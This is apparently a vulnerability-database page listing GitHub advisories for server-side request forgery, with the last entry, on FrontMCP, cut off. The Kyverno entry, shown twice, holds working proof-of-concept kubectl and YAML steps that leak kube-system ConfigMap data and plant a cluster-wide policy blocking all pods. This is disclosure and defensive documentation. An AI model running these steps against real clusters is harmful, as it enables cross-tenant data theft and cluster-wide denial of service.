Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6013 vulnerabilities reference this CWE, most recent first.

GHSA-8P9C-W6FC-VJGH

Vulnerability from github – Published: 2025-12-23 00:30 – Updated: 2025-12-23 00:30
VLAI
Details

Hasura GraphQL 1.3.3 contains a server-side request forgery vulnerability that allows attackers to inject arbitrary remote schema URLs through the add_remote_schema endpoint. Attackers can exploit the vulnerability by sending crafted POST requests to the /v1/query endpoint with malicious URL definitions to potentially access internal network resources.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-47715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-22T22:15:59Z",
    "severity": "MODERATE"
  },
  "details": "Hasura GraphQL 1.3.3 contains a server-side request forgery vulnerability that allows attackers to inject arbitrary remote schema URLs through the add_remote_schema endpoint. Attackers can exploit the vulnerability by sending crafted POST requests to the /v1/query endpoint with malicious URL definitions to potentially access internal network resources.",
  "id": "GHSA-8p9c-w6fc-vjgh",
  "modified": "2025-12-23T00:30:31Z",
  "published": "2025-12-23T00:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47715"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hasura/graphql-engine"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/49791"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/hasura-graphql-server-side-request-forgery-via-remote-schema-injection"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8P9X-46GM-QFX2

Vulnerability from github – Published: 2026-01-27 18:01 – Updated: 2026-01-29 03:31
VLAI
Summary
Kyverno Cross-Namespace Privilege Escalation via Policy apiCall
Details

Summary

A critical authorization boundary bypass in namespaced Kyverno Policy apiCall. The resolved urlPath is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy’s namespace.

As a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno’s admission controller identity, targeting any API path allowed by that ServiceAccount’s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution.

Details

The vulnerability exists in how Kyverno handles apiCall context entries. The code substitutes variables into the URLPath field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy.

  1. In pkg/engine/apicall/apiCall.go, the Fetch method performs variable substitution on the entire APICall object, including the URLPath. go // pkg/engine/apicall/apiCall.go func (a *apiCall) Fetch(ctx context.Context) ([]byte, error) { // Variable substitution happens here call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall) // ... data, err := a.Execute(ctx, &call.APICall)

  2. In pkg/engine/apicall/executor.go, the Execute method delegates to executeK8sAPICall, which passes the raw path directly to the Kubernetes client's RawAbsPath method. go // pkg/engine/apicall/executor.go func (a *executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) { // ... // Path is used directly in the raw API call jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)

Because RawAbsPath executes a direct HTTP request to the API server using Kyverno's admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn't have access to.

PoC 001 - Data exfiltration

The following steps demonstrate how a user restricted to the default namespace (with no access to kube-system) can read a sensitive ConfigMap from the kube-system namespace.

0. Setup kind + Kyverno

Tested with Kyverno v1.16.1 on k8s v1.34.0.

kind create cluster
helm repo add kyverno https://kyverno.github.io/kyverno/
helm repo update
helm install kyverno kyverno/kyverno -n kyverno --create-namespace

1. Setup target and low-privileged user Create a confidential resource in a privileged namespace, and create a restricted user policy-admin who only has permissions to manage policies in the default namespace.

# Create confidential data in kube-system
kubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data

# Create a restricted service account
kubectl create sa policy-admin -n default

# Create a role for managing policies and configmaps in default namespace only
kubectl create role policy-admin-role -n default \
  --verb=create,get,list,update,delete \
  --resource=policies.kyverno.io,configmaps

# Bind the role to the service account
kubectl create rolebinding policy-admin-binding -n default \
  --role=policy-admin-role \
  --serviceaccount=default:policy-admin

# Verify the user cannot access kube-system
kubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin
# Output: no

2. Create malicious policy as the restricted user Impersonating the restricted user policy-admin, apply a namespaced Policy in the default namespace.

cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: cross-ns-leak
  namespace: default
spec:
  validationFailureAction: Enforce
  rules:
  - name: leak-config
    match:
      resources:
        kinds:
        - ConfigMap
    context:
    - name: leakedData
      apiCall:
        # Injection happens here via annotations
        urlPath: "/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/configmaps/{{request.object.metadata.annotations.target_name}}"
        jmesPath: "data.key"
    validate:
      # The leaked data is returned in the denial message
      message: "LEAKED DATA: {{leakedData}}"
      deny: {}
EOF

3. Trigger the leak As the restricted user, create a ConfigMap in the default namespace with annotations pointing to the target resource in kube-system.

cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: v1
kind: ConfigMap
metadata:
  name: trigger-leak
  namespace: default
  annotations:
    target_ns: "kube-system"
    target_name: "target-cm"
data: {}
EOF

4. Result The creation request is denied, but the error message contains the secret data from kube-system, proving the privilege escalation.

Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request: 

resource ConfigMap/default/trigger-leak was blocked due to the following policies 

cross-ns-leak:
  leak-config: 'LEAKED DATA: confidential-data'

PoC 002 - ClusterPolicy injection

Continue from the setup from the previous PoC.

This vulnerability also allows creation of cluster-level resources. For example, a low-privileged user can create a ClusterPolicy that impacts the entire cluster. In this PoC, a low-privileged user creates a cluster policy, which prevents scheduling of pods.

1. Apply a malicious policy

cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: kyverno.io/v1
kind: Policy
metadata:
  name: mutation-cpol
  namespace: default
spec:
  validationFailureAction: Enforce
  rules:
  - name: create-malicious-cpol
    match:
      resources:
        kinds:
        - ConfigMap
    context:
    - name: mutation
      apiCall:
        urlPath: "/apis/kyverno.io/v1/clusterpolicies"
        method: POST
        data:
        - key: apiVersion
          value: "kyverno.io/v1"
        - key: kind
          value: "ClusterPolicy"
        - key: metadata
          value:
            name: "malicious-cpol"
        - key: spec
          value:
            validationFailureAction: Enforce
            rules:
            - name: block-all
              match:
                resources:
                  kinds:
                  - Pod
              validate:
                message: "Blocked by malicious policy"
                deny: {}
    validate:
      message: "Created ClusterPolicy: {{mutation.metadata.name}}"
      deny: {}
EOF

2. Trigger the policy

cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: v1
kind: ConfigMap
metadata:
  name: trigger-cpol
  namespace: default
data: {}
EOF

This outputs an error:

Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:

resource ConfigMap/default/trigger-cpol was blocked due to the following policies

mutation-cpol:
  create-malicious-cpol: ""

3. Observe the new cluster policy

kubectl get clusterpolicy malicious-cpol

Outputs:

NAME             ADMISSION   BACKGROUND   READY   AGE     MESSAGE
malicious-cpol   true        true         True    4m58s   Ready

4. Verify that no new pods can be created (even as a cluster admin)

Run:

kubectl run --image=nginx foo

Outputs:

Error from server: admission webhook "validate.kyverno.svc-fail" denied the request:

resource Pod/default/foo was blocked due to the following policies

malicious-cpol:
  block-all: Blocked by malicious policy

Impact

  • Users with Policy creation rights in a single namespace can escalate privileges (context of Kyverno admission controller).
  • Since apiCall supports POST, attackers can potentially create resources in privileged namespaces (e.g., creating a RoleBinding in kube-system to grant themselves cluster-admin) if the Kyverno service account has write permissions.
  • Attackers can disrupt the entire cluster by creating a malicious ClusterPolicy that blocks critical operations (e.g., preventing Pod scheduling), as demonstrated in PoC #2.
  • Sensitive data (Secrets, tokens, configuration) can be exfiltrated from any namespace, depending on the RBAC.
  • In shared clusters, one tenant can read data belonging to other tenants or the cluster administration.

The following command should be run on a per-environment basis to understand impact:

kubectl auth can-i --as=system:serviceaccount:kyverno:kyverno-admission-controller --list

By default, this does not include Secrets.

Mitigation

The apiCall logic should enforce that Policy resources (namespaced policies) can only access resources within the same namespace. If a Policy attempts to access a resource in a different namespace via urlPath, the request should be blocked. ClusterPolicy resources are unaffected by this restriction as they are intended to operate cluster-wide.

The mitigation logic validates the urlPath for namespaced policies by ensuring: 1. The path explicitly contains the /namespaces/<namespace>/ segment. 2. The namespace in the path matches the policy's namespace. 3. Requests missing the namespace segment (targeting cluster-scoped resources) or targeting a different namespace are rejected.

This effectively prevents both the cross-namespace data leak and the creation of cluster-scoped resources (like ClusterPolicy) or resources in other namespaces via the POST method.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.15.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.0-rc.1"
            },
            {
              "fixed": "1.16.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22039"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-27T18:01:26Z",
    "nvd_published_at": "2026-01-27T17:16:12Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA critical authorization boundary bypass in namespaced Kyverno Policy [apiCall](https://kyverno.io/docs/policy-types/cluster-policy/external-data-sources/#url-paths). The resolved `urlPath` is executed using the Kyverno admission controller ServiceAccount, with no enforcement that the request is limited to the policy\u2019s namespace.\n\nAs a result, any authenticated user with permission to create a namespaced Policy can cause Kyverno to perform Kubernetes API requests using Kyverno\u2019s admission controller identity, targeting any API path allowed by that ServiceAccount\u2019s RBAC. This breaks namespace isolation by enabling cross-namespace reads (for example, ConfigMaps and, where permitted, Secrets) and allows cluster-scoped or cross-namespace writes (for example, creating ClusterPolicies) by controlling the urlPath through context variable substitution.\n\n### Details\n\nThe vulnerability exists in how Kyverno handles `apiCall` context entries. The code substitutes variables into the `URLPath` field without sanitizing the output or validating that the resulting path is authorized for the scope of the policy.\n\n1.  In `pkg/engine/apicall/apiCall.go`, the `Fetch` method performs variable substitution on the entire `APICall` object, including the `URLPath`.\n    ```go\n    // pkg/engine/apicall/apiCall.go\n    func (a *apiCall) Fetch(ctx context.Context) ([]byte, error) {\n        // Variable substitution happens here\n        call, err := variables.SubstituteAllInType(a.logger, a.jsonCtx, a.entry.APICall)\n        // ...\n        data, err := a.Execute(ctx, \u0026call.APICall)\n    ```\n\n2.  In `pkg/engine/apicall/executor.go`, the `Execute` method delegates to `executeK8sAPICall`, which passes the raw path directly to the Kubernetes client\u0027s `RawAbsPath` method.\n    ```go\n    // pkg/engine/apicall/executor.go\n    func (a *executor) executeK8sAPICall(ctx context.Context, path string, method kyvernov1.Method, ...) ([]byte, error) {\n        // ...\n        // Path is used directly in the raw API call\n        jsonData, err := a.client.RawAbsPath(ctx, path, string(method), requestData)\n    ```\n\nBecause `RawAbsPath` executes a direct HTTP request to the API server using Kyverno\u0027s admission controller service account (which typically has broad permissions), an attacker can construct any valid API path to access and mutate resources they shouldn\u0027t have access to.\n\n### PoC 001 - Data exfiltration\nThe following steps demonstrate how a user restricted to the `default` namespace (with no access to `kube-system`) can read a sensitive ConfigMap from the `kube-system` namespace.\n\n**0. Setup kind + Kyverno**\n\nTested with Kyverno v1.16.1 on k8s v1.34.0.\n\n```bash\nkind create cluster\nhelm repo add kyverno https://kyverno.github.io/kyverno/\nhelm repo update\nhelm install kyverno kyverno/kyverno -n kyverno --create-namespace\n```\n\n**1. Setup target and low-privileged user**\nCreate a confidential resource in a privileged namespace, and create a restricted user `policy-admin` who only has permissions to manage policies in the `default` namespace.\n```bash\n# Create confidential data in kube-system\nkubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data\n\n# Create a restricted service account\nkubectl create sa policy-admin -n default\n\n# Create a role for managing policies and configmaps in default namespace only\nkubectl create role policy-admin-role -n default \\\n  --verb=create,get,list,update,delete \\\n  --resource=policies.kyverno.io,configmaps\n\n# Bind the role to the service account\nkubectl create rolebinding policy-admin-binding -n default \\\n  --role=policy-admin-role \\\n  --serviceaccount=default:policy-admin\n\n# Verify the user cannot access kube-system\nkubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin\n# Output: no\n```\n\n**2. Create malicious policy as the restricted user**\nImpersonating the restricted user `policy-admin`, apply a namespaced `Policy` in the `default` namespace.\n```yaml\ncat \u003c\u003cEOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: cross-ns-leak\n  namespace: default\nspec:\n  validationFailureAction: Enforce\n  rules:\n  - name: leak-config\n    match:\n      resources:\n        kinds:\n        - ConfigMap\n    context:\n    - name: leakedData\n      apiCall:\n        # Injection happens here via annotations\n        urlPath: \"/api/v1/namespaces/{{request.object.metadata.annotations.target_ns}}/configmaps/{{request.object.metadata.annotations.target_name}}\"\n        jmesPath: \"data.key\"\n    validate:\n      # The leaked data is returned in the denial message\n      message: \"LEAKED DATA: {{leakedData}}\"\n      deny: {}\nEOF\n```\n\n**3. Trigger the leak**\nAs the restricted user, create a ConfigMap in the `default` namespace with annotations pointing to the target resource in `kube-system`.\n```yaml\ncat \u003c\u003cEOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: trigger-leak\n  namespace: default\n  annotations:\n    target_ns: \"kube-system\"\n    target_name: \"target-cm\"\ndata: {}\nEOF\n```\n\n**4. Result**\nThe creation request is denied, but the error message contains the secret data from `kube-system`, proving the privilege escalation.\n\n```\nError from server: error when creating \"STDIN\": admission webhook \"validate.kyverno.svc-fail\" denied the request: \n\nresource ConfigMap/default/trigger-leak was blocked due to the following policies \n\ncross-ns-leak:\n  leak-config: \u0027LEAKED DATA: confidential-data\u0027\n```\n\n### PoC 002 - ClusterPolicy injection\n\nContinue from the setup from the previous PoC.\n\nThis vulnerability also allows creation of cluster-level resources. For example, a low-privileged user can create a `ClusterPolicy` that impacts the entire cluster. In this PoC, a low-privileged user creates a cluster policy, which prevents scheduling of pods.\n\n**1. Apply a malicious policy**\n\n```yaml\ncat \u003c\u003cEOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: mutation-cpol\n  namespace: default\nspec:\n  validationFailureAction: Enforce\n  rules:\n  - name: create-malicious-cpol\n    match:\n      resources:\n        kinds:\n        - ConfigMap\n    context:\n    - name: mutation\n      apiCall:\n        urlPath: \"/apis/kyverno.io/v1/clusterpolicies\"\n        method: POST\n        data:\n        - key: apiVersion\n          value: \"kyverno.io/v1\"\n        - key: kind\n          value: \"ClusterPolicy\"\n        - key: metadata\n          value:\n            name: \"malicious-cpol\"\n        - key: spec\n          value:\n            validationFailureAction: Enforce\n            rules:\n            - name: block-all\n              match:\n                resources:\n                  kinds:\n                  - Pod\n              validate:\n                message: \"Blocked by malicious policy\"\n                deny: {}\n    validate:\n      message: \"Created ClusterPolicy: {{mutation.metadata.name}}\"\n      deny: {}\nEOF\n```\n\n**2. Trigger the policy**\n\n```bash\ncat \u003c\u003cEOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: trigger-cpol\n  namespace: default\ndata: {}\nEOF\n```\n\nThis outputs an error:\n\n```\nError from server: error when creating \"STDIN\": admission webhook \"validate.kyverno.svc-fail\" denied the request:\n\nresource ConfigMap/default/trigger-cpol was blocked due to the following policies\n\nmutation-cpol:\n  create-malicious-cpol: \"\"\n```\n\n**3. Observe the new cluster policy**\n\n```bash\nkubectl get clusterpolicy malicious-cpol\n```\n\nOutputs:\n\n```\nNAME             ADMISSION   BACKGROUND   READY   AGE     MESSAGE\nmalicious-cpol   true        true         True    4m58s   Ready\n```\n\n**4. Verify that no new pods can be created (even as a cluster admin)**\n\nRun:\n\n```\nkubectl run --image=nginx foo\n```\n\nOutputs:\n\n```\nError from server: admission webhook \"validate.kyverno.svc-fail\" denied the request:\n\nresource Pod/default/foo was blocked due to the following policies\n\nmalicious-cpol:\n  block-all: Blocked by malicious policy\n```\n### Impact\n\n- Users with `Policy` creation rights in a single namespace can escalate privileges (context of Kyverno admission controller).\n- Since `apiCall` supports `POST`, attackers can potentially create resources in privileged namespaces (e.g., creating a RoleBinding in `kube-system` to grant themselves cluster-admin) if the Kyverno service account has write permissions.\n- Attackers can disrupt the entire cluster by creating a malicious `ClusterPolicy` that blocks critical operations (e.g., preventing Pod scheduling), as demonstrated in PoC #2.\n- Sensitive data (Secrets, tokens, configuration) can be exfiltrated from any namespace, depending on the RBAC.\n- In shared clusters, one tenant can read data belonging to other tenants or the cluster administration.\n\nThe following command should be run on a per-environment basis to understand impact:\n\n```\nkubectl auth can-i --as=system:serviceaccount:kyverno:kyverno-admission-controller --list\n```\n\nBy default, this does not include Secrets. \n\n\n### Mitigation\n\nThe `apiCall` logic should enforce that `Policy` resources (namespaced policies) can only access resources within the same namespace. If a `Policy` attempts to access a resource in a different namespace via `urlPath`, the request should be blocked. `ClusterPolicy` resources are unaffected by this restriction as they are intended to operate cluster-wide.\n\nThe mitigation logic validates the `urlPath` for namespaced policies by ensuring:\n1. The path explicitly contains the `/namespaces/\u003cnamespace\u003e/` segment.\n2. The namespace in the path matches the policy\u0027s namespace.\n3. Requests missing the namespace segment (targeting cluster-scoped resources) or targeting a different namespace are rejected.\n\nThis effectively prevents both the cross-namespace data leak and the creation of cluster-scoped resources (like `ClusterPolicy`) or resources in other namespaces via the `POST` method.",
  "id": "GHSA-8p9x-46gm-qfx2",
  "modified": "2026-01-29T03:31:31Z",
  "published": "2026-01-27T18:01:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-8p9x-46gm-qfx2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22039"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/commit/e0ba4de4f1e0ca325066d5095db51aec45b1407b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/commit/eba60fa856c781bcb9c3be066061a3df03ae4e3e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kyverno Cross-Namespace Privilege Escalation via Policy apiCall"
}

GHSA-8PFH-MM2G-HMC3

Vulnerability from github – Published: 2020-12-21 18:01 – Updated: 2020-12-21 17:46
VLAI
Summary
Authenticated Server Side Request Forgery
Details

Impact

Authenticated Server Side Request Forgery

Patches

We recommend to update to the current version 6.3.4.1. You can get the update to 6.3.4.1 regularly via the Auto-Updater or directly via the download overview.

https://www.shopware.com/en/download/#shopware-6

Workarounds

For older versions of 6.1 and 6.2 the corresponding changes are also available via plugin:

https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659

For more information

https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-12-2020

Credits

We would like to thank REQON B.V. for reporting this issue.

Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.3.4.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.3.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.3.4.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.3.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-12-21T17:46:22Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Impact\nAuthenticated Server Side Request Forgery\n\n### Patches\nWe recommend to update to the current version 6.3.4.1. You can get the update to 6.3.4.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2 the corresponding changes are also available via plugin:\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-12-2020\n\n### Credits\nWe would like to thank \u003ca rel=\"noopener\" href=\"https://reqon.nl\"\u003eREQON B.V.\u003c/a\u003e for reporting this issue.",
  "id": "GHSA-8pfh-mm2g-hmc3",
  "modified": "2020-12-21T17:46:22Z",
  "published": "2020-12-21T18:01:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shopware/platform/security/advisories/GHSA-8pfh-mm2g-hmc3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Authenticated Server Side Request Forgery"
}

GHSA-8PP6-8X4Q-C5MX

Vulnerability from github – Published: 2022-03-30 00:00 – Updated: 2022-04-07 15:30
VLAI
Summary
Server side request forgery in C1 CMS
Details

C1 CMS is an open-source, .NET based Content Management System (CMS). Versions prior to 6.12 allow an authenticated user to exploit Server Side Request Forgery (SSRF) by causing the server to make arbitrary GET requests to other servers in the local network or on localhost. The attacker may also truncate arbitrary files to zero size (effectively delete them) leading to denial of service (DoS) or altering application logic. The authenticated user may unknowingly perform the actions by visiting a specially crafted site. Patched in C1 CMS v6.12, no known workarounds exist.

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.11.7982.26191"
      },
      "package": {
        "ecosystem": "NuGet",
        "name": "C1CMS.Assemblies"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.12.8122.18346"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-24789"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-07T15:30:27Z",
    "nvd_published_at": "2022-03-28T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "C1 CMS is an open-source, .NET based Content Management System (CMS). Versions prior to 6.12 allow an authenticated user to exploit Server Side Request Forgery (SSRF) by causing the server to make arbitrary GET requests to other servers in the local network or on localhost. The attacker may also truncate arbitrary files to zero size (effectively delete them) leading to denial of service (DoS) or altering application logic. The authenticated user may unknowingly perform the actions by visiting a specially crafted site. Patched in C1 CMS v6.12, no known workarounds exist.",
  "id": "GHSA-8pp6-8x4q-c5mx",
  "modified": "2022-04-07T15:30:27Z",
  "published": "2022-03-30T00:00:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Orckestra/C1-CMS-Foundation/security/advisories/GHSA-j9c2-gr6m-pp45"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24789"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Orckestra/C1-CMS-Foundation"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Orckestra/C1-CMS-Foundation/releases/tag/v6.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server side request forgery in C1 CMS"
}

GHSA-8Q29-M4VM-FR8F

Vulnerability from github – Published: 2026-03-13 21:31 – Updated: 2026-03-16 15:30
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Andy Fragen Embed PDF Viewer embed-pdf-viewer allows Server Side Request Forgery.This issue affects Embed PDF Viewer: from n/a through <= 2.4.7.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-32349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-13T19:54:46Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Andy Fragen Embed PDF Viewer embed-pdf-viewer allows Server Side Request Forgery.This issue affects Embed PDF Viewer: from n/a through \u003c= 2.4.7.",
  "id": "GHSA-8q29-m4vm-fr8f",
  "modified": "2026-03-16T15:30:34Z",
  "published": "2026-03-13T21:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32349"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/embed-pdf-viewer/vulnerability/wordpress-embed-pdf-viewer-plugin-2-4-7-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8Q3W-RH8P-P597

Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2026-04-01 18:31
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in ShortPixel ShortPixel Adaptive Images.This issue affects ShortPixel Adaptive Images: from n/a through 3.8.3.

Severity
4.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-35172"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-14T15:39:42Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in ShortPixel ShortPixel Adaptive Images.This issue affects ShortPixel Adaptive Images: from n/a through 3.8.3.",
  "id": "GHSA-8q3w-rh8p-p597",
  "modified": "2026-04-01T18:31:46Z",
  "published": "2024-05-14T18:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35172"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/shortpixel-adaptive-images/vulnerability/wordpress-shortpixel-adaptive-images-plugin-3-8-3-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/shortpixel-adaptive-images/wordpress-shortpixel-adaptive-images-plugin-3-8-3-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8Q49-2H5H-434X

Vulnerability from github – Published: 2026-07-24 22:40 – Updated: 2026-07-24 22:40
VLAI
Summary
FrontMCP: Server-Side Request Forgery (SSRF) in the OpenAPI adapter spec-change poller
Details

Summary

The OpenAPI adapter's spec-change poller (OpenApiSpecPoller) re-fetched the configured spec url on a timer using a raw global fetch(), bypassing the SSRF guard (safeFetch / assertUrlSafe) that OpenAPIToolGenerator.fromURL() applies to the initial spec load. As a result, the pinning/DNS-resolution hardening delivered via mcp-from-openapi >= 2.5.0 (advisory GHSA-65h7-9wrw-629c) protected the initial load but not the recurring poll of the same URL. When polling is enabled against an untrusted or attacker-influenceable spec URL, this is an unguarded SSRF vector.

Details

The initial spec load is guarded. OpenapiAdapter resolves a secure refResolution policy and passes it to the guarded loader:

